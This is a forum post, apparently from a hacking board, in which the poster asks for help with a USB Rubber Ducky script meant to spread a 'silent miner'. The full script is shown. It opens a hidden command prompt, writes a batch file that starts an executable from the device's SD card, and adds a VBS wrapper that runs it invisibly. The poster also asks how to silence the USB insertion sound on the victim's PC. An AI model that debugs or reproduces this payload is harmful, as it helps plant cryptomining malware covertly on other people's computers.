Not sure if this is the right section or not but it seems the closest. I was following a guide given to be about spreading technique and I found this one more intriguing since I have a silent miner but it doesn’t work on windows 10 with smart screen enabled. Something with zone.indentifier and windows ADS. I dunno. Anyways the guide is a few years old and the encoder page is no longer in service. I found a new one but get an error. Code below:
REM Name: RunEXE.txt
REM Purpose: Run an executable file off of the SD card after it mounts.
REM Encoder V2.4
REM Using the run command for a broader OS base.
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
REM Change directories because System32 appears to be protected.
STRING CD %TEMP%
REM Make batch file that waits for SD card to mount.
REM Delete batch file if already exists
STRING erase /Q DuckyWait.bat
STRING copy con DuckyWait.bat
STRING for /f %%d in (‘wmic volume get driveletter^, label ^| findstr
“DUCKY”’) do set myd=%%d
STRING if Exist %myd% (
STRING goto :break
STRING timeout /t 30
STRING goto :while1
REM Continue script.
STRING START %myd%\example.exe
REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
REM FROM: h xx p://stackoverflow dot com/questions/289498/running-batch-file-in-background-when-windows-boots-up
STRING copy con invis.vbs
STRING CreateObject(“Wscript.Shell”).Run “”"" & WScript.Arguments(0) & “”"",
REM RUN THE BATCH FILE
STRING wscript.exe invis.vbs DuckyWait.bat
Using this encoder “h xx ps://ducktoolkit dot com/encoder/” I get the following error below:
Command “DUCKY”’) Not in Language File
Any help would be much appreciated. I’m sure it is something small and I’m missing something but I know nothing how hardware talks to devices etc…
Also is there a way to make sure when the USB is plugged into the target that no noise goes off? When a USB is usually inserted into a PC running windows 7, 8 or 8.1.
Thanks in advance. Much appreciated.